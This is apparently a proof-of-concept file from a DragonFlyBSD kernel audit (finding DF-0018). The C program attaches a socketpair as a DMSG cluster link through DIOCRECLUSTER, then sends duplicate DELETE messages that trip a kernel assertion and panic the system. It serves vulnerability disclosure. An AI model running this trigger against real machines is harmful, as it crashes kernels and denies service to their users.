DragonFlyBSD Kernel Audit
DF-0018 / trigger.c
← back to finding ↓ download raw
/*
 * DF-0018 trigger - duplicate DELETE for the same DMSG msgid trips the
 * KKASSERT at kern_dmsg.c:1076 and panics the kernel.
 *
 * Threat model (per finding): a DMSG peer (cluster link).  On this guest
 * the realistic, in-kernel reachable DMSG endpoint is the per-disk iocom
 * that the kernel brings up when DIOCRECLUSTER is issued on a disk device
 * node.  DIOCRECLUSTER requires privileges on the disk node (operator/root),
 * matching the finding's stated precondition "a reachable DMSG link".
 *
 * This trigger:
 *   1. Creates a socketpair (one end is handed to the kernel as the DMSG
 *      link fd; the other end is the attacker's peer endpoint).
 *   2. Opens a disk device node and issues DIOCRECLUSTER, which calls
 *      kdmsg_iocom_reconnect() -> spawns the kdmsg reader/writer threads
 *      on our fd.
 *   3. Writes a CREATE for msgid=42, then two back-to-back DELETEs for
 *      msgid=42.  The reader processes them sequentially; the writer has
 *      not yet transmitted the REPLY+DELETE for the first DELETE, so the
 *      state remains in staterd_tree.  The second DELETE reaches
 *      kern_dmsg.c:1076 and trips KKASSERT.
 *
 * Must be run as root (operator/wheel), matching the cluster-peer threat
 * model.  Panics an INVARIANTS kernel (the default X86_64_GENERIC ships
 * options INVARIANTS); on a non-INVARIANTS kernel the KKASSERT is a no-op
 * (see systm.h:94-122) and the duplicate DELETE is absorbed benignly.
 *
 * Build:  cc -o trigger trigger.c
 * Run:    ./trigger [/dev/serno/QM00003]
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/dmsg.h>
#include <sys/diskslice.h>	/* DIOCRECLUSTER, struct disk_ioc_recluster */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <err.h>

#define DMSG_MAGIC0		0x4832

static void
mk_dmsg(void *buf, uint32_t cmd, uint64_t msgid)
{
	struct dmsg_hdr *h = buf;
	memset(buf, 0, 64);
	h->magic  = DMSG_MAGIC0;
	h->cmd    = cmd;
	h->msgid  = msgid;
	h->hdr_crc = 0;		/* not verified on receive (kern_dmsg.c:339-347) */
}

static uint32_t
lnk_pad(void)
{
	/* Mirror DMSG_LNK_PAD = DMSG_PROTO_LNK | (0<<8) | DMSG_HDR_ENCODE(dmsg_hdr).
	 * sizeof(dmsg_hdr) == 64, DMSG_ALIGN == 64 -> DMSG_HDR_ENCODE == 1.
	 * So DMSG_LNK_PAD == 0x00000001. */
	return (0x00000001U);
}

int
main(int argc, char **argv)
{
	const char *diskdev = (argc > 1) ? argv[1] : "/dev/serno/QM00003";
	int sdfd, svp[2], rc;
	struct disk_ioc_recluster recl;
	char buf[64];

	/* 1. attacker's peer endpoint + kernel's link endpoint */
	if (socketpair(AF_UNIX, SOCK_STREAM, 0, svp) < 0)
		err(1, "socketpair");

	/* 2. open the disk device node (operator/root) and hand the kernel
	 *    one end of the socketpair as the DMSG link fd */
	sdfd = open(diskdev, O_RDWR);
	if (sdfd < 0)
		err(1, "open %s", diskdev);
	recl.fd = svp[0];
	rc = ioctl(sdfd, DIOCRECLUSTER, &recl);
	if (rc < 0)
		err(1, "ioctl DIOCRECLUSTER");
	fprintf(stderr, "[*] DIOCRECLUSTER on %s OK; kernel reader thread now polling\n", diskdev);

	/* 3. CREATE msgid=42 (no REPLY bit -> command side, state goes into
	 *    staterd_tree) */
	mk_dmsg(buf, lnk_pad() | DMSGF_CREATE, 42ULL);
	if (write(svp[1], buf, 64) != 64)
		err(1, "write CREATE");

	/* 4. Two back-to-back DELETEs for msgid=42.  The reader processes
	 *    them in sequence; the writer has not yet sent the REPLY+DELETE
	 *    for the first DELETE, so the second DELETE finds the same state
	 *    still in staterd_tree and trips KKASSERT at kern_dmsg.c:1076. */
	mk_dmsg(buf, lnk_pad() | DMSGF_DELETE, 42ULL);
	if (write(svp[1], buf, 64) != 64)
		err(1, "write DELETE 1");
	if (write(svp[1], buf, 64) != 64)
		err(1, "write DELETE 2");

	fprintf(stderr, "[*] sent CREATE + 2x DELETE for msgid=42; expect panic\n");
	/* give the kernel reader thread time to drain the socket */
	sleep(3);
	fprintf(stderr, "[!] no panic observed (kernel may be non-INVARIANTS or already fixed)\n");
	return 0;
}